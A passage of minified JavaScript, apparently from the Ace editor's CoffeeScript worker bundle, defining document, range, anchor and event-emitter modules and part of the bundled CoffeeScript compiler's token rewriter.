e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),ace.define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),ace.define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),ace.define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),ace.define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),ace.define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),ace.define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){!e instanceof o&&(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),ace.define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),ace.define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),ace.define(\"ace/mode/coffee/coffee\",[\"require\",\"exports\",\"module\"],function(require,exports,module){function ace.define(e){module.exports=e()}define.amd={},function(root){var CoffeeScript=function(){function _dereq_(e){return _dereq_[e]}return _dereq_[\"./helpers\"]=function(){var e={},t={exports:e};return function(){var t,n,r,i,s,o;e.starts=function(e,t,n){return t===e.substr(n,t.length)},e.ends=function(e,t,n){var r;return r=t.length,t===e.substr(e.length-r-(n||0),r)},e.repeat=s=function(e,t){var n;for(n=\"\";t>0;)1&t&&(n+=e),t>>>=1,e+=e;return n},e.compact=function(e){var t,n,r,i;for(i=[],t=0,r=e.length;r>t;t++)n=e[t],n&&i.push(n);return i},e.count=function(e,t){var n,r;if(n=r=0,!t.length)return 1/0;for(;r=1+e.indexOf(t,r);)n++;return n},e.merge=function(e,t){return n(n({},e),t)},n=e.extend=function(e,t){var n,r;for(n in t)r=t[n],e[n]=r;return e},e.flatten=r=function(e){var t,n,i,s;for(n=[],i=0,s=e.length;s>i;i++)t=e[i],t instanceof Array?n=n.concat(r(t)):n.push(t);return n},e.del=function(e,t){var n;return n=e[t],delete e[t],n},e.some=null!=(i=Array.prototype.some)?i:function(e){var t,n,r;for(n=0,r=this.length;r>n;n++)if(t=this[n],e(t))return!0;return!1},e.invertLiterate=function(e){var t,n,r;return r=!0,n=function(){var n,i,s,o;for(s=e.split(\"\\n\"),o=[],n=0,i=s.length;i>n;n++)t=s[n],r&&/^([ ]{4}|[ ]{0,3}\\t)/.test(t)?o.push(t):(r=/^\\s*$/.test(t))?o.push(t):o.push(\"# \"+t);return o}(),n.join(\"\\n\")},t=function(e,t){return t?{first_line:e.first_line,first_column:e.first_column,last_line:t.last_line,last_column:t.last_column}:e},e.addLocationDataFn=function(e,n){return function(r){return\"object\"==typeof r&&r.updateLocationDataIfMissing&&r.updateLocationDataIfMissing(t(e,n)),r}},e.locationDataToString=function(e){var t;return\"2\"in e&&\"first_line\"in e[2]?t=e[2]:\"first_line\"in e&&(t=e),t?t.first_line+1+\":\"+(t.first_column+1)+\"-\"+(t.last_line+1+\":\"+(t.last_column+1)):\"No location data\"},e.baseFileName=function(e,t,n){var r,i;return null==t&&(t=!1),null==n&&(n=!1),i=n?/\\\\|\\//:/\\//,r=e.split(i),e=r[r.length-1],t&&e.indexOf(\".\")>=0?(r=e.split(\".\"),r.pop(),\"coffee\"===r[r.length-1]&&r.length>1&&r.pop(),r.join(\".\")):e},e.isCoffee=function(e){return/\\.((lit)?coffee|coffee\\.md)$/.test(e)},e.isLiterate=function(e){return/\\.(litcoffee|coffee\\.md)$/.test(e)},e.throwSyntaxError=function(e,t){var n;throw n=new SyntaxError(e),n.location=t,n.toString=o,n.stack=\"\"+n,n},e.updateSyntaxError=function(e,t,n){return e.toString===o&&(e.code||(e.code=t),e.filename||(e.filename=n),e.stack=\"\"+e),e},o=function(){var e,t,n,r,i,o,u,a,f,l,c,h,p,d,v;return this.code&&this.location?(c=this.location,u=c.first_line,o=c.first_column,f=c.last_line,a=c.last_column,null==f&&(f=u),null==a&&(a=o),i=this.filename||\"[stdin]\",e=this.code.split(\"\\n\")[u],v=o,r=u===f?a+1:e.length,l=e.slice(0,v).replace(/[^\\s]/g,\" \")+s(\"^\",r-v),\"undefined\"!=typeof process&&null!==process&&(n=(null!=(h=process.stdout)?h.isTTY:void 0)&&(null!=(p=process.env)?!p.NODE_DISABLE_COLORS:!void 0)),(null!=(d=this.colorful)?d:n)&&(t=function(e){return\"\u001b[1;31m\"+e+\"\u001b[0m\"},e=e.slice(0,v)+t(e.slice(v,r))+e.slice(r),l=t(l)),i+\":\"+(u+1)+\":\"+(o+1)+\": error: \"+this.message+\"\\n\"+e+\"\\n\"+l):Error.prototype.toString.call(this)},e.nameWhitespaceCharacter=function(e){switch(e){case\" \":return\"space\";case\"\\n\":return\"newline\";case\"\\r\":return\"carriage return\";case\"\t\":return\"tab\";default:return e}}}.call(this),t.exports}(),_dereq_[\"./rewriter\"]=function(){var e={},t={exports:e};return function(){var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b,w=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1},E=[].slice;for(d=function(e,t,n){var r;return r=[e,t],r.generated=!0,n&&(r.origin=n),r},e.Rewriter=function(){function e(){}return e.prototype.rewrite=function(e){return this.tokens=e,this.removeLeadingNewlines(),this.closeOpenCalls(),this.closeOpenIndexes(),this.normalizeLines(),this.tagPostfixConditionals(),this.addImplicitBracesAndParens(),this.addLocationDataToGeneratedTokens(),this.tokens},e.prototype.scanTokens=function(e){var t,n,r;for(r=this.tokens,t=0;n=r[t];)t+=e.call(this,n,t,r);return!0},e.prototype.detectEnd=function(e,t,n){var r,o,u,a,f;for(f=this.tokens,r=0;a=f[e];){if(0===r&&t.call(this,a,e))return n.call(this,a,e);if(!a||0>r)return n.call(this,a,e-1);o=a[0],w.call(s,o)>=0?r+=1:(u=a[0],w.call(i,u)>=0&&(r-=1)),e+=1}return e-1},e.prototype.removeLeadingNewlines=function(){var e,t,n,r,i;for(r=this.tokens,e=t=0,n=r.length;n>t&&(i=r[e][0],\"TERMINATOR\"===i);e=++t);return e?this.tokens.splice(0,e):void 0},e.prototype.closeOpenCalls=function(){var e,t;return t=function(e,t){var n;return\")\"===(n=e[0])||\"CALL_END\"===n||\"OUTDENT\"===e[0]&&\")\"===this.tag(t-1)},e=function(e,t){return this.tokens[\"OUTDENT\"===e[0]?t-1:t][0]=\"CALL_END\"},this.scanTokens(function(n,r){return\"CALL_START\"===n[0]&&this.detectEnd(r+1,t,e),1})},e.prototype.closeOpenIndexes=function(){var e,t;return t=function(e){var t;return\"]\"===(t=e[0])||\"INDEX_END\"===t},e=function(e){return e[0]=\"INDEX_END\"},this.scanTokens(function(n,r){return\"INDEX_START\"===n[0]&&this.detectEnd(r+1,t,e),1})},e.prototype.indexOfTag=function(){var e,t,n,r,i,s,o;for(t=arguments[0],i=arguments.length>=2?E.call(arguments,1):[],e=0,n=r=0,s=i.length;s>=0?s>r:r>s;n=s>=0?++r:--r){for(;\"HERECOMMENT\"===this.tag(t+n+e);)e+=2;if(null!=i[n]&&(\"string\"==typeof i[n]&&(i[n]=[i[n]]),o=this.tag(t+n+e),0>w.call(i[n],o)))return-1}return t+n+e-1},e.prototype.looksObjectish=function(e){var t,n;return this.indexOfTag(e,\"@\",null,\":\")>-1||this.indexOfTag(e,null,\":\")>-1?!0:(n=this.indexOfTag(e,s),n>-1&&(t=null,this.detectEnd(n+1,function(e){var t;return t=e[0],w.call(i,t)>=0},function(e,n){return t=n}),\":\"===this.tag(t+1))?!0:!1)},e.prototype.findTagsBackwards=function(e,t){var n,r,o,u,a,f,l;for(n=[];e>=0&&(n.length||(u=this.tag(e),0>w.call(t,u)&&(a=this.tag(e),0>w.call(s,a)||this.tokens[e].generated)&&(f=this.tag(e),0>w.call(c,f))));)r=this.tag(e),w.call(i,r)>=0&&n.push(this.tag(e)),o=this.tag(e),w.call(s,o)>=0&&n.length&&n.pop(),e-=1;return l=this.tag(e),w.call(t,l)>=0},e.prototype.addImplicitBracesAndParens=function(){var e,t;return e=[],t=null,this.scanTokens(function(r,l,h){var p,v,m,g,y,b,E,S,x,T,N,C,L,A,O,M,_,D,P,H,B,j,F,I,q,R,U,z;if(z=r[0],N=(C=l>0?h[l-1]:[])[0],x=(h.length-1>l?h[l+1]:[])[0],F=function(){return e[e.length-1]},I=l,m=function(e){return l-I+e},g=function(){var e,t;return null!=(e=F())?null!=(t=e[2])?t.ours:void 0:void 0},y=function(){var e;return g()&&\"(\"===(null!=(e=F())?e[0]:void 0)},E=function(){var e;return g()&&\"{\"===(null!=(e=F())?e[0]:void 0)},b=function(){var e;return g&&\"CONTROL\"===(null!=(e=F())?e[0]:void 0)},q=function(t){var n;return n=null!=t?t:l,e.push([\"(\",n,{ours:!0}]),h.splice(n,0,d(\"CALL_START\",\"(\")),null==t?l+=1:void 0},p=function(){return e.pop(),h.splice(l,0,d(\"CALL_END\",\")\",[\"\",\"end of input\",r[2]])),l+=1},R=function(t,n){var i,s;return null==n&&(n=!0),i=null!=t?t:l,e.push([\"{\",i,{sameLine:!0,startsLine:n,ours:!0}]),s=new String(\"{\"),s.generated=!0,h.splice(i,0,d(\"{\",s,r)),null==t?l+=1:void 0},v=function(t){return t=null!=t?t:l,e.pop(),h.splice(t,0,d(\"}\",\"}\",r)),l+=1},!y()||\"IF\"!==z&&\"TRY\"!==z&&\"FINALLY\"!==z&&\"CATCH\"!==z&&\"CLASS\"!==z&&\"SWITCH\"!==z){if(\"INDENT\"===z&&g()){if(\"=>\"!==N&&\"->\"!==N&&\"[\"!==N&&\"(\"!==N&&\",\"!==N&&\"{\"!==N&&\"TRY\"!==N&&\"ELSE\"!==N&&\"=\"!==N)for(;y();)p();return b()&&e.pop(),e.push([z,l]),m(1)}if(w.call(s,z)>=0)return e.push([z,l]),m(1);if(w.call(i,z)>=0){for(;g();)y()?p():E()?v():e.pop();t=e.pop()}if((w.call(a,z)>=0&&r.spaced||\"?\"===z&&l>0&&!h[l-1].spaced)&&(w.call(o,x)>=0||w.call(f,x)>=0&&(null!=(L=h[l+1])?!L.spaced:!void 0)&&(null!=(A=h[l+1])?!A.newLine:!void 0)))return\"?\"===z&&(z=r[0]=\"FUNC_EXIST\"),q(l+1),m(2);if(w.call(a,z)>=0&&this.indexOfTag(l+1,\"INDENT\")>-1&&this.looksObjectish(l+2)&&!this.findTagsBackwards(l,[\"CLASS\",\"EXTENDS\",\"IF\",\"CATCH\",\"SWITCH\",\"LEADING_WHEN\",\"FOR\",\"WHILE\",\"UNTIL\"]))return q(l+1),e.push([\"INDENT\",l+2]),m(3);if(\":\"===z){for(P=function(){var e;switch(!1){case e=this.tag(l-1),0>w.call(i,e):return 